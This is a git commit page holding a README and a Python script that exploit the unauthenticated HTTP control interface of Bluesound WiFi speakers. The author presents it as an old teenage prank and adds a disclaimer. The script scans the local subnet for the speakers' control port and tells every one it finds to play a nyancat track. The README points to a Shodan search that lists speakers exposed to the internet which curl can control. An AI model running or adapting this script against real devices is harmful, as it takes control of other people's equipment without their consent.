sharing the code
This commit is contained in:
commit
02fec50f8d
2 changed files with 95 additions and 0 deletions
23
README.md
Normal file
23
README.md
Normal file
|
@ -0,0 +1,23 @@
|
||||||
|
# Exploiting Insecure WIFI Speakers
|
||||||
|
|
||||||
|
This is very old, from when I was around 18. But it was fun, so I thought I'll describe the process from memory.
|
||||||
|
|
||||||
|
I knew someone who had [Bluesound](https://www.bluesound.com/) WIFI speakers and I got curious about them.
|
||||||
|
|
||||||
|
They were controllable by a dedicated smartphone app.
|
||||||
|
|
||||||
|
I installed a package capture app on my phone and tried a bunch of things in the Bluesound app. To my amazement, the app was sending pure, **unencrypted and unauthenticated `http` requests** to the speaker for every action I took, like play, pause, change track, etc. I captured enough to reverse engineer the protocol.
|
||||||
|
|
||||||
|
What I thought would be fun was to write a script that scans the whole network for Bluesound speakers and then plays the [nyancat song](https://www.youtube.com/watch?v=2yJgwwDcgV8&pp=ygUIbnlhbiBjYXQ%3D) on all of them (it was still enough of a meme back then).
|
||||||
|
|
||||||
|
[bluesound.py](bluesound.py) is that script, I am posting this unedited, just the way I found it on my hard drive. It's fun to see how differently I approached coding back then and how much I've learned since.
|
||||||
|
|
||||||
|
## is this kind of a real vulnerability?
|
||||||
|
|
||||||
|
If you search on Shodan for `Brand Display Name: Bluesound` ([link to search](https://www.shodan.io/search?query=Brand+Display+Name%3A+Bluesound)), it shows 137 results. This means you can control other people's speakers with `curl`!
|
||||||
|
|
||||||
|
so idk
|
||||||
|
|
||||||
|
## Disclaimer
|
||||||
|
|
||||||
|
Please be responsible with this. I am not accountable for misuse of this code or technique, I am just sharing an interesting find. Only try it at your own risk, on devices you own or have the owner's informed consent for.
|
72
bluesound.py
Executable file
72
bluesound.py
Executable file
|
@ -0,0 +1,72 @@
|
||||||
|
import socket
|
||||||
|
import requests
|
||||||
|
import sys
|
||||||
|
|
||||||
|
def getMyIP():
|
||||||
|
# ip = socket.gethostbyname(socket.gethostname())
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
try:
|
||||||
|
# doesn't even have to be reachable
|
||||||
|
s.connect(('10.255.255.255', 1))
|
||||||
|
ip = s.getsockname()[0]
|
||||||
|
except:
|
||||||
|
ip = '127.0.0.1'
|
||||||
|
finally:
|
||||||
|
s.close()
|
||||||
|
ip = [int(part) for part in ip.split(".")]
|
||||||
|
|
||||||
|
return ip
|
||||||
|
|
||||||
|
def isBluesound(host, timeout=0.3):
|
||||||
|
try:
|
||||||
|
return requests.get("http://"+host+":11000/Status", timeout=timeout).status_code == 200
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def scanNetwork(printProgress=False):
|
||||||
|
bluesounds = []
|
||||||
|
ip = getMyIP()
|
||||||
|
for i in range(256):
|
||||||
|
hostIP = ".".join(str(p) for p in ip[:-1]) + "." + str(i)
|
||||||
|
sys.stdout.write("\tProgress = "+ str(i)+"/255\t\r")
|
||||||
|
sys.stdout.flush()
|
||||||
|
if(isBluesound(hostIP)):
|
||||||
|
bluesounds.append(hostIP)
|
||||||
|
return bluesounds
|
||||||
|
|
||||||
|
def sendRequest(host, reqName, reqParameters = None):
|
||||||
|
reqUrl = "http://"+host+":11000/"+reqName
|
||||||
|
if(reqParameters is not None and len(reqParameters) > 0):
|
||||||
|
reqUrl += "?"
|
||||||
|
for k, v in reqParameters.items():
|
||||||
|
reqUrl += k+"="+v+"&"
|
||||||
|
reqUrl = reqUrl[:-1]
|
||||||
|
response = requests.get(reqUrl)
|
||||||
|
return response
|
||||||
|
|
||||||
|
def sendRequestToAll(hosts, reqName, reqParameters = None):
|
||||||
|
responses = {}
|
||||||
|
for host in hosts:
|
||||||
|
response = sendRequest(host, reqName, reqParameters)
|
||||||
|
responses[host] = response
|
||||||
|
return responses
|
||||||
|
|
||||||
|
def sendFuncToAll(hosts, func):
|
||||||
|
responses = {}
|
||||||
|
for host in hosts:
|
||||||
|
responses[host] = func(host)
|
||||||
|
return responses
|
||||||
|
|
||||||
|
def playNyan(host):
|
||||||
|
nyanUrl="https://www.albinoblacksheep.com/audio/mp3/Nyanyanyanyanyanyanya.mp3"
|
||||||
|
return sendRequest(host, "Play", {"url":nyanUrl})
|
||||||
|
|
||||||
|
print("Scanning the network...")
|
||||||
|
bluesounds = scanNetwork()
|
||||||
|
print("Found", len(bluesounds), "bluesound(s):", bluesounds)
|
||||||
|
print("\nSending request:")
|
||||||
|
# responses = sendRequestToAll(bluesounds, "Pause")
|
||||||
|
responses = sendFuncToAll(bluesounds, playNyan)
|
||||||
|
for host, response in responses.items():
|
||||||
|
print("\t", host)
|
||||||
|
print("\t\t"+response.text.replace("\n", "\n\t\t"))
|
Loading…
Reference in a new issue